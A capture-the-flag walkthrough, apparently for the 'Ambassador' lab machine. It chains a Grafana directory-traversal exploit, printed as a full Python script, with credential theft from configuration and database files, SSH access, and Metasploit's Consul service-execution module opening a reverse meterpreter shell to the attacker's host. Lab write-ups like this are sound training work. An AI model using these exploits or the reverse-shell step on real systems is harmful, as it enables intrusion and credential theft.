Enumeration
Nmap
We start by running an nmap
scan on the most common 1000 ports using the flag -sV
to perform a service/version scan, and the -sC
flag to perform a script scan using the default set of scripts:
$ nmap -sV -sC 10.129.228.56
Starting Nmap 7.93 ( https://nmap.org ) at 2022-12-11 07:46 EST
Nmap scan report for 10.129.228.56
Host is up (0.053s latency).
Not shown: 996 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 29dd8ed7171e8e3090873cc651007c75 (RSA)
| 256 80a4c52e9ab1ecda276439a408973bef (ECDSA)
|_ 256 f590ba7ded55cb7007f2bbc891931bf6 (ED25519)
80/tcp open http Apache httpd 2.4.41 ((Ubuntu))
|_http-generator: Hugo 0.94.2
|_http-title: Ambassador Development Server
|_http-server-header: Apache/2.4.41 (Ubuntu)
3000/tcp open ppp?
| fingerprint-strings:
| FourOhFourRequest:
| HTTP/1.0 302 Found
| Cache-Control: no-cache
| Content-Type: text/html; charset=utf-8
| Expires: -1
| Location: /login
| Pragma: no-cache
| Set-Cookie: redirect_to=%2Fnice%2520ports%252C%2FTri%256Eity.txt%252ebak; Path=/; HttpOnly; SameSite=Lax
| X-Content-Type-Options: nosniff
| X-Frame-Options: deny
| X-Xss-Protection: 1; mode=block
| Date: Sun, 11 Dec 2022 12:47:33 GMT
| Content-Length: 29
| href="/login">Found</a>.
| GenericLines, Help, Kerberos, RTSPRequest, SSLSessionReq, TLSSessionReq, TerminalServerCookie:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 302 Found
| Cache-Control: no-cache
| Content-Type: text/html; charset=utf-8
| Expires: -1
| Location: /login
| Pragma: no-cache
| Set-Cookie: redirect_to=%2F; Path=/; HttpOnly; SameSite=Lax
| X-Content-Type-Options: nosniff
| X-Frame-Options: deny
| X-Xss-Protection: 1; mode=block
| Date: Sun, 11 Dec 2022 12:47:02 GMT
| Content-Length: 29
| href="/login">Found</a>.
| HTTPOptions:
| HTTP/1.0 302 Found
| Cache-Control: no-cache
| Expires: -1
| Location: /login
| Pragma: no-cache
| Set-Cookie: redirect_to=%2F; Path=/; HttpOnly; SameSite=Lax
| X-Content-Type-Options: nosniff
| X-Frame-Options: deny
| X-Xss-Protection: 1; mode=block
| Date: Sun, 11 Dec 2022 12:47:07 GMT
|_ Content-Length: 0
3306/tcp open mysql MySQL 8.0.30-0ubuntu0.20.04.2
| mysql-info:
| Protocol: 10
| Version: 8.0.30-0ubuntu0.20.04.2
| Thread ID: 13
| Capabilities flags: 65535
| Some Capabilities: FoundRows, Speaks41ProtocolNew, SupportsTransactions, Speaks41ProtocolOld, SupportsCompression, LongPassword, IgnoreSpaceBeforeParenthesis, Support41Auth, LongColumnFlag, ConnectWithDatabase, ODBCClient, InteractiveClient, DontAllowDatabaseTableColumn, IgnoreSigpipes, SupportsLoadDataLocal, SwitchToSSLAfterHandshake, SupportsAuthPlugins, SupportsMultipleStatments, SupportsMultipleResults
| Status: Autocommit
| Salt: \x05VP\x02xp4;fHQ8od\x12\x0BY\x04bd
|_ Auth Plugin Name: caching_sha2_password
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port3000-TCP:V=7.93%I=7%D=12/11%Time=6395D146%P=x86_64-pc-linux-gnu%r(G
SF:enericLines,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20
SF:text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\
SF:x20Request")%r(GetRequest,174,"HTTP/1\.0\x20302\x20Found\r\nCache-Contr
SF:ol:\x20no-cache\r\nContent-Type:\x20text/html;\x20charset=utf-8\r\nExpi
SF:res:\x20-1\r\nLocation:\x20/login\r\nPragma:\x20no-cache\r\nSet-Cookie:
SF:\x20redirect_to=%2F;\x20Path=/;\x20HttpOnly;\x20SameSite=Lax\r\nX-Conte
SF:nt-Type-Options:\x20nosniff\r\nX-Frame-Options:\x20deny\r\nX-Xss-Protec
SF:tion:\x201;\x20mode=block\r\nDate:\x20Sun,\x2011\x20Dec\x202022\x2012:4
SF:7:02\x20GMT\r\nContent-Length:\x2029\r\n\r\n<a\x20href=\"/login\">Found
SF:</a>\.\n\n")%r(Help,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-T
SF:ype:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400
SF:\x20Bad\x20Request")%r(HTTPOptions,12E,"HTTP/1\.0\x20302\x20Found\r\nCa
SF:che-Control:\x20no-cache\r\nExpires:\x20-1\r\nLocation:\x20/login\r\nPr
SF:agma:\x20no-cache\r\nSet-Cookie:\x20redirect_to=%2F;\x20Path=/;\x20Http
SF:Only;\x20SameSite=Lax\r\nX-Content-Type-Options:\x20nosniff\r\nX-Frame-
SF:Options:\x20deny\r\nX-Xss-Protection:\x201;\x20mode=block\r\nDate:\x20S
SF:un,\x2011\x20Dec\x202022\x2012:47:07\x20GMT\r\nContent-Length:\x200\r\n
SF:\r\n")%r(RTSPRequest,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-
SF:Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n40
SF:0\x20Bad\x20Request")%r(SSLSessionReq,67,"HTTP/1\.1\x20400\x20Bad\x20Re
SF:quest\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x
SF:20close\r\n\r\n400\x20Bad\x20Request")%r(TerminalServerCookie,67,"HTTP/
SF:1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text/plain;\x20charse
SF:t=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20Request")%r(TLSSes
SF:sionReq,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:\x20text
SF:/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20Bad\x20R
SF:equest")%r(Kerberos,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-T
SF:ype:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400
SF:\x20Bad\x20Request")%r(FourOhFourRequest,1A1,"HTTP/1\.0\x20302\x20Found
SF:\r\nCache-Control:\x20no-cache\r\nContent-Type:\x20text/html;\x20charse
SF:t=utf-8\r\nExpires:\x20-1\r\nLocation:\x20/login\r\nPragma:\x20no-cache
SF:\r\nSet-Cookie:\x20redirect_to=%2Fnice%2520ports%252C%2FTri%256Eity\.tx
SF:t%252ebak;\x20Path=/;\x20HttpOnly;\x20SameSite=Lax\r\nX-Content-Type-Op
SF:tions:\x20nosniff\r\nX-Frame-Options:\x20deny\r\nX-Xss-Protection:\x201
SF:;\x20mode=block\r\nDate:\x20Sun,\x2011\x20Dec\x202022\x2012:47:33\x20GM
SF:T\r\nContent-Length:\x2029\r\n\r\n<a\x20href=\"/login\">Found</a>\.\n\n
SF:");
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 117.66 seconds
Port 80
We take a look at what web technologies the website is using with whatweb
:
$ whatweb http://10.129.228.56
http://10.129.228.56 [200 OK] Apache[2.4.41], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][Apache/2.4.41 (Ubuntu)], IP[10.129.228.56], MetaGenerator[Hugo 0.94.2], Open-Graph-Protocol[website], Title[Ambassador Development Server], X-UA-Compatible[IE=edge]
On a blog post at http://10.129.14.103/posts/welcome-to-the-ambassador-development-server/
:
Welcome to the Ambassador Development Server
Hi there! This server exists to provide developers at Ambassador with a standalone development environment. When you start as a developer at Ambassador, you will be assigned a development server of your own to use. Connecting to this machine
Connecting to this machine
Use the developer account to SSH, DevOps will give you the password.
Port 3000
Visiting http://10.129.228.56/3000
we are greeted by a Grafana login page. The version in use is v8.2.0 (d7f71e9eae).
This version is vulnerable to Directory Traversal and Arbitrary File Read:
$ searchsploit grafana
------------------------------------------------------------------------------------------ ---------------------------------
Exploit Title | Path
------------------------------------------------------------------------------------------ ---------------------------------
Grafana 7.0.1 - Denial of Service (PoC) | linux/dos/48638.sh
Grafana 8.3.0 - Directory Traversal and Arbitrary File Read | multiple/webapps/50581.py
------------------------------------------------------------------------------------------ ---------------------------------
Shellcodes: No Results
Papers: No Results
$ searchsploit -m multiple/webapps/50581.py
Exploit: Grafana 8.3.0 - Directory Traversal and Arbitrary File Read
URL: https://www.exploit-db.com/exploits/50581
Path: /usr/share/exploitdb/exploits/multiple/webapps/50581.py
Codes: CVE-2021-43798
Verified: False
File Type: Python script, ASCII text executable
Copied to: /home/kali/htb/ambassador/50581.py
50581.py
# Exploit Title: Grafana 8.3.0 - Directory Traversal and Arbitrary File Read
# Date: 08/12/2021
# Exploit Author: s1gh
# Vendor Homepage: https://grafana.com/
# Vulnerability Details: https://github.com/grafana/grafana/security/advisories/GHSA-8pjx-jj86-j47p
# Version: V8.0.0-beta1 through V8.3.0
# Description: Grafana versions 8.0.0-beta1 through 8.3.0 is vulnerable to directory traversal, allowing access to local fil
es.
# CVE: CVE-2021-43798
# Tested on: Debian 10
# References: https://github.com/grafana/grafana/security/advisories/GHSA-8pjx-jj86-j47p47p
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import requests
import argparse
import sys
from random import choice
plugin_list = [
"alertlist",
"annolist",
"barchart",
"bargauge",
"candlestick",
"cloudwatch",
"dashlist",
"elasticsearch",
"gauge",
"geomap",
"gettingstarted",
"grafana-azure-monitor-datasource",
"graph",
"heatmap",
"histogram",
"influxdb",
"jaeger",
"logs",
"loki",
"mssql",
"mysql",
"news",
"nodeGraph",
"opentsdb",
"piechart",
"pluginlist",
"postgres",
"prometheus",
"stackdriver",
"stat",
"state-timeline",
"status-histor",
"table",
"table-old",
"tempo",
"testdata",
"text",
"timeseries",
"welcome",
"zipkin"
]
def exploit(args):
s = requests.Session()
headers = { 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.' }
while True:
file_to_read = input('Read file > ')
try:
url = args.host + '/public/plugins/' + choice(plugin_list) + '/../../../../../../../../../../../../..' + file_to_read
req = requests.Request(method='GET', url=url, headers=headers)
prep = req.prepare()
prep.url = url
r = s.send(prep, verify=False, timeout=3)
if 'Plugin file not found' in r.text:
print('[-] File not found\n')
else:
if r.status_code == 200:
print(r.text)
else:
print('[-] Something went wrong.')
return
except requests.exceptions.ConnectTimeout:
print('[-] Request timed out. Please check your host settings.\n')
return
except Exception:
pass
def main():
parser = argparse.ArgumentParser(description="Grafana V8.0.0-beta1 - 8.3.0 - Directory Traversal and Arbitrary File Read")
parser.add_argument('-H',dest='host',required=True, help="Target host")
args = parser.parse_args()
try:
exploit(args)
except KeyboardInterrupt:
return
if __name__ == '__main__':
main()
sys.exit(0)
We execute the script:
$ python3 50581.py -H http://10.129.228.56:3000
Read file > /etc/hosts
127.0.0.1 localhost
127.0.1.1 ambassador
# The following lines are desirable for IPv6 capable hosts
::1 ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
Read file > /etc/passwd
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
systemd-network:x:100:102:systemd Network Management,,,:/run/systemd:/usr/sbin/nologin
systemd-resolve:x:101:103:systemd Resolver,,,:/run/systemd:/usr/sbin/nologin
systemd-timesync:x:102:104:systemd Time Synchronization,,,:/run/systemd:/usr/sbin/nologin
messagebus:x:103:106::/nonexistent:/usr/sbin/nologin
syslog:x:104:110::/home/syslog:/usr/sbin/nologin
_apt:x:105:65534::/nonexistent:/usr/sbin/nologin
tss:x:106:111:TPM software stack,,,:/var/lib/tpm:/bin/false
uuidd:x:107:112::/run/uuidd:/usr/sbin/nologin
tcpdump:x:108:113::/nonexistent:/usr/sbin/nologin
landscape:x:109:115::/var/lib/landscape:/usr/sbin/nologin
pollinate:x:110:1::/var/cache/pollinate:/bin/false
usbmux:x:111:46:usbmux daemon,,,:/var/lib/usbmux:/usr/sbin/nologin
sshd:x:112:65534::/run/sshd:/usr/sbin/nologin
systemd-coredump:x:999:999:systemd Core Dumper:/:/usr/sbin/nologin
developer:x:1000:1000:developer:/home/developer:/bin/bash
lxd:x:998:100::/var/snap/lxd/common/lxd:/bin/false
grafana:x:113:118::/usr/share/grafana:/bin/false
mysql:x:114:119:MySQL Server,,,:/nonexistent:/bin/false
consul:x:997:997::/home/consul:/bin/false
Read file >
In the Grafana documentation we find the location of the configuration files:
Package details
Installs binary to /usr/sbin/grafana-server
Installs Init.d script to /etc/init.d/grafana-server
Creates default file (environment vars) to /etc/default/grafana-server
Installs configuration file to /etc/grafana/grafana.ini
Installs systemd service (if systemd is available) name grafana-server.service
The default configuration sets the log file at /var/log/grafana/grafana.log
The default configuration specifies a SQLite3 db at /var/lib/grafana/grafana.db
Installs HTML/JS/CSS and other Grafana files at /usr/share/grafana
We analyze grafana.ini
:
Read file > /etc/grafana/grafana.ini
<SNIP>
#################################### Security ####################################
[security]
# disable creation of admin user on first start of grafana
;disable_initial_admin_creation = false
# default admin user, created on startup
;admin_user = admin
# default admin password, can be changed before first start of grafana, or in profile settings
admin_password = messageInABottle685427
# used for signing
;secret_key = SW2YcwTIb9zpOOhoPsMm
<SNIP>
where we find credentials to login to the Grafana instance, admin:messageInABottle685427
.
After that, we dump the SQLite3 grafana.db
database:
$ curl --path-as-is http://10.129.228.56:3000/../../../../../../../../var/lib/grafana/grafana.db -o grafana.db
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 29 100 29 0 0 267 0 --:--:-- --:--:-- --:--:-- 268
We take a look at the db with sqlitebrowser
and we find mysql credentials in the table data_source
:
type | name | password | user | database |
---|---|---|---|---|
mysql | mysql.yaml | dontStandSoCloseToMe63221! | grafana | grafana |
Port 3306
By utilizing the leaked credentials, we are now able to establish a connection with the publicly exposed MySQL service:
$ mysql -u grafana -p'dontStandSoCloseToMe63221!' -h 10.129.228.56
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MySQL connection id is 21
Server version: 8.0.30-0ubuntu0.20.04.2 (Ubuntu)
Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.
MySQL [(none)]>
MySQL [(none)]> show databases;
+--------------------+
| Database |
+--------------------+
| grafana |
| information_schema |
| mysql |
| performance_schema |
| sys |
| whackywidget |
+--------------------+
6 rows in set (0.070 sec)
MySQL [(none)]> use grafana;
Database changed
MySQL [grafana]> show tables;
Empty set (0.056 sec)
MySQL [grafana]> use whackywidget;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A
Database changed
MySQL [whackywidget]> show tables;
+------------------------+
| Tables_in_whackywidget |
+------------------------+
| users |
+------------------------+
1 row in set (0.056 sec)
MySQL [whackywidget]> select * from users;
+-----------+------------------------------------------+
| user | pass |
+-----------+------------------------------------------+
| developer | YW5FbmdsaXNoTWFuSW5OZXdZb3JrMDI3NDY4Cg== |
+-----------+------------------------------------------+
1 row in set (0.057 sec)
MySQL [whackywidget]>
We found the password for user developer
. It seems to be Base64 encoded.
We proceed to decode the password:
$ echo "YW5FbmdsaXNoTWFuSW5OZXdZb3JrMDI3NDY4Cg==" | base64 -d
anEnglishManInNewYork027468
Getting a Shell
We now ssh login with the credentials we just found, developer
:anEnglishManInNewYork027468
:
$ ssh developer@10.129.228.56
developer@10.129.228.56`s password: anEnglishManInNewYork027468
<SNIP>
developer@ambassador:~$ id
uid=1000(developer) gid=1000(developer) groups=1000(developer)
User Flag
We find the user flag in developer
’s home directory:
developer@ambassador:~$ ls
snap user.txt
developer@ambassador:~$ cat user.txt
1fe**************************c30
Privilege Escalation
Now, we start enumerating the target system looking for a way to escalate privileges:
developer@ambassador:~$ ls -la
total 48
drwxr-xr-x 7 developer developer 4096 Sep 14 11:01 .
drwxr-xr-x 3 root root 4096 Mar 13 2022 ..
lrwxrwxrwx 1 root root 9 Sep 14 11:01 .bash_history -> /dev/null
-rw-r--r-- 1 developer developer 220 Feb 25 2020 .bash_logout
-rw-r--r-- 1 developer developer 3798 Mar 14 2022 .bashrc
drwx------ 3 developer developer 4096 Mar 13 2022 .cache
-rw-rw-r-- 1 developer developer 93 Sep 2 02:28 .gitconfig
drwx------ 3 developer developer 4096 Mar 14 2022 .gnupg
drwxrwxr-x 3 developer developer 4096 Mar 13 2022 .local
-rw-r--r-- 1 developer developer 807 Feb 25 2020 .profile
drwx------ 3 developer developer 4096 Mar 14 2022 snap
drwx------ 2 developer developer 4096 Mar 13 2022 .ssh
-rw-r----- 1 developer developer 33 Dec 11 12:46 user.txt
developer@ambassador:~$ cat .gitconfig
[user]
name = Developer
email = developer@ambassador.local
[safe]
directory = /opt/my-app
developer@ambassador:~$ ls -la /opt/my-app/
total 24
drwxrwxr-x 5 root root 4096 Mar 13 2022 .
drwxr-xr-x 4 root root 4096 Sep 1 22:13 ..
drwxrwxr-x 4 root root 4096 Mar 13 2022 env
drwxrwxr-x 8 root root 4096 Mar 14 2022 .git
-rw-rw-r-- 1 root root 1838 Mar 13 2022 .gitignore
drwxrwxr-x 3 root root 4096 Mar 13 2022 whackywidget
developer@ambassador:~$ ls -la /opt/my-app/whackywidget/
total 20
drwxrwxr-x 3 root root 4096 Mar 13 2022 .
drwxrwxr-x 5 root root 4096 Mar 13 2022 ..
-rwxrwxr-x 1 root root 668 Mar 13 2022 manage.py
-rwxrwxr-x 1 root root 228 Mar 13 2022 put-config-in-consul.sh
drwxrwxr-x 2 root root 4096 Mar 13 2022 whackywidget
developer@ambassador:~$ cat /opt/my-app/whackywidget/put-config-in-consul.sh
# We use Consul for application config in production, this script will help set the correct values for the app
# Export MYSQL_PASSWORD and CONSUL_HTTP_TOKEN before running
consul kv put whackywidget/db/mysql_pw $MYSQL_PASSWORD
Consul is a service networking solution to automate network configurations, discover services, and enable secure connectivity across any cloud or runtime.
We check for the version installed on the system:
developer@ambassador:~$ consul version
Consul v1.13.2
Revision 0e046bbb
Build Date 2022-09-20T20:30:07Z
Protocol 2 spoken by default, understands 2 to 3 (agent will automatically use protocol >2 when speaking to compatible agents)
We take a look at the git history:
developer@ambassador:/opt/my-app$ git log
commit 33a53ef9a207976d5ceceddc41a199558843bf3c (HEAD -> main)
Author: Developer <developer@ambassador.local>
Date: Sun Mar 13 23:47:36 2022 +0000
tidy config script
commit c982db8eff6f10f8f3a7d802f79f2705e7a21b55
Author: Developer <developer@ambassador.local>
Date: Sun Mar 13 23:44:45 2022 +0000
config script
commit 8dce6570187fd1dcfb127f51f147cd1ca8dc01c6
Author: Developer <developer@ambassador.local>
Date: Sun Mar 13 22:47:01 2022 +0000
created project with django CLI
commit 4b8597b167b2fbf8ec35f992224e612bf28d9e51
Author: Developer <developer@ambassador.local>
Date: Sun Mar 13 22:44:11 2022 +0000
.gitignore
developer@ambassador:/opt/my-app$ git show 33a53ef9a207976d5ceceddc41a199558843bf3c
commit 33a53ef9a207976d5ceceddc41a199558843bf3c (HEAD -> main)
Author: Developer <developer@ambassador.local>
Date: Sun Mar 13 23:47:36 2022 +0000
tidy config script
diff --git a/whackywidget/put-config-in-consul.sh b/whackywidget/put-config-in-consul.sh
index 35c08f6..fc51ec0 100755
--- a/whackywidget/put-config-in-consul.sh
+++ b/whackywidget/put-config-in-consul.sh
@@ -1,4 +1,4 @@
# We use Consul for application config in production, this script will help set the correct values for the app
-# Export MYSQL_PASSWORD before running
+# Export MYSQL_PASSWORD and CONSUL_HTTP_TOKEN before running
-consul kv put --token bb03b43b-1d81-d62b-24b5-39540ee469b5 whackywidget/db/mysql_pw $MYSQL_PASSWORD
+consul kv put whackywidget/db/mysql_pw $MYSQL_PASSWORD
bb03b43b-1d81-d62b-24b5-39540ee469b5
seems to be an ACL token.
Now we want to check if this configuration of Consul is vulnerable to RCE via Services API.
The HTTP API default port is TCP/8500
, but we are unable to connect to http://10.129.228.56:8500
.
Locally, though, the service is running:
$ curl -i http://127.0.0.1:8500
HTTP/1.1 200 OK
Date: Sun, 11 Dec 2022 21:14:10 GMT
Content-Length: 104
Content-Type: text/plain; charset=utf-8
Consul Agent: UI disabled. To enable, set ui_config.enabled=true in the agent configuration and restart.
Consul Agent: UI is disabled
means that the built-in web UI server and the required HTTP routes are disabled.
In order for the exploit to work we need to ssh port forward to tunnel the application port 8500 from the target machine to our attacking machine:
$ ssh -L 8500:0.0.0.0:8500 developer@10.129.228.56
Now we can setup the exploit using Metasploit:
msf6 > search consul
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/multi/http/struts_dev_mode 2012-01-06 excellent Yes Apache Struts 2 Developer Mode OGNL Execution
1 exploit/multi/http/clipbucket_fileupload_exec 2018-03-03 excellent Yes ClipBucket beats_uploader Unauthenticated Arbitrary File Upload
2 auxiliary/scanner/misc/dahua_dvr_auth_bypass normal No Dahua DVR Auth Bypass Scanner
3 post/windows/manage/dell_memory_protect manual No Dell DBUtilDrv2.sys Memory Protection Modifier
4 exploit/linux/http/groundwork_monarch_cmd_exec 2013-03-08 excellent Yes GroundWork monarch_scan.cgi OS Command Injection
5 exploit/multi/misc/consul_rexec_exec 2018-08-11 excellent Yes Hashicorp Consul Remote Command Execution via Rexec
6 exploit/multi/misc/consul_service_exec 2018-08-11 excellent Yes Hashicorp Consul Remote Command Execution via Services API
7 exploit/windows/misc/ibm_director_cim_dllinject 2009-03-10 excellent Yes IBM System Director Agent DLL Injection
8 exploit/unix/webapp/joomla_media_upload_exec 2013-08-01 excellent Yes Joomla Media Manager File Upload Vulnerability
9 auxiliary/admin/http/limesurvey_file_download 2015-10-12 normal No Limesurvey Unauthenticated File Download
10 exploit/windows/local/cve_2020_0668_service_tracing 2020-02-11 excellent No Service Tracing Privilege Elevation Vulnerability
11 exploit/windows/browser/sonicwall_addrouteentry 2007-11-01 normal No SonicWall SSL-VPN NetExtender ActiveX Control Buffer Overflow
12 auxiliary/admin/http/sophos_wpa_traversal 2013-04-03 normal No Sophos Web Protection Appliance patience.cgi Directory Traversal
13 exploit/windows/antivirus/symantec_endpoint_manager_rce 2014-02-24 excellent Yes Symantec Endpoint Protection Manager /servlet/ConsoleServlet Remote Command Execution
Interact with a module by name or index. For example info 13, use 13 or use exploit/windows/antivirus/symantec_endpoint_manager_rce
msf6 > use 6
[*] Using configured payload linux/x86/meterpreter/reverse_tcp
msf6 exploit(multi/misc/consul_service_exec) > show info
Name: Hashicorp Consul Remote Command Execution via Services API
Module: exploit/multi/misc/consul_service_exec
Platform:
Arch:
Privileged: No
License: Metasploit Framework License (BSD)
Rank: Excellent
Disclosed: 2018-08-11
Provided by:
Bharadwaj Machiraju <bharadwaj.machiraju@gmail.com>
Francis Alexander <helofrancis@gmail.com >
Quentin Kaiser <kaiserquentin@gmail.com>
Matthew Lucas <mattglucas97@gmail.com>
Available targets:
Id Name
-- ----
0 Linux
1 Windows
Check supported:
Yes
Basic options:
Name Current Setting Required Description
---- --------------- -------- -----------
ACL_TOKEN no Consul Agent ACL token
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-
Metasploit
RPORT 8500 yes The target port (TCP)
SRVHOST 0.0.0.0 yes The local host or network interface to listen on. This must be an address on the l
ocal machine or 0.0.0.0 to listen on all addresses.
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL/TLS for outgoing connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
TARGETURI / yes The base path
URIPATH no The URI to use for this exploit (default is random)
VHOST no HTTP server virtual host
Payload information:
Description:
This module exploits Hashicorp Consul`s services API to gain remote
command execution on Consul nodes.
References:
https://www.consul.io/api/agent/service.html
https://github.com/torque59/Garfield
View the full module info with the info -d command.
msf6 exploit(multi/misc/consul_service_exec) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf6 exploit(multi/misc/consul_service_exec) > set LHOST <OUR IP>
LHOST => <OUR IP>
msf6 exploit(multi/misc/consul_service_exec) > set ACL_TOKEN bb03b43b-1d81-d62b-24b5-39540ee469b5
ACL_TOKEN => bb03b43b-1d81-d62b-24b5-39540ee469b5
msf6 exploit(multi/misc/consul_service_exec) > check
[+] 127.0.0.1:8500 - The target is vulnerable.
This Consul configuration is vulnerable.
Root Flag
Now we run the exploit and get the root flag:
msf6 exploit(multi/misc/consul_service_exec) > run
[*] Started reverse TCP handler on <OUR IP>:4444
[*] Creating service 'NQcQJqjx'
[*] Service 'NQcQJqjx' successfully created.
[*] Waiting for service 'NQcQJqjx' script to trigger
[*] Sending stage (1017704 bytes) to <OUR IP>
[*] Meterpreter session 1 opened (<OUR IP>:4444 -> 10.129.228.56:44164) at 2022-12-11 14:53:33 -0500
[*] Removing service 'NQcQJqjx'
[*] Command Stager progress - 100.00% done (763/763 bytes)
meterpreter > getuid
Server username: root
meterpreter > cd root
meterpreter > ls
Listing: /root
==============
Mode Size Type Last modified Name
---- ---- ---- ------------- ----
100644/rw-r--r-- 3133 fil 2022-03-13 21:03:37 -0400 .bashrc
040700/rwx------ 4096 dir 2022-03-13 13:47:00 -0400 .cache
040755/rwxr-xr-x 4096 dir 2022-09-07 13:20:57 -0400 .local
020666/rw-rw-rw- 0 cha 2022-12-11 14:12:01 -0500 .mysql_history
100644/rw-r--r-- 161 fil 2019-12-05 09:39:21 -0500 .profile
100644/rw-r--r-- 75 fil 2022-09-01 22:46:11 -0400 .selected_editor
040700/rwx------ 4096 dir 2022-03-13 13:27:27 -0400 .ssh
100600/rw------- 10050 fil 2022-09-14 13:13:20 -0400 .viminfo
100755/rwxr-xr-x 62 fil 2022-09-14 07:00:13 -0400 cleanup.sh
100640/rw-r----- 33 fil 2022-12-11 14:12:52 -0500 root.txt
040700/rwx------ 4096 dir 2022-03-13 13:27:31 -0400 snap
meterpreter > cat root.txt
638**************************c370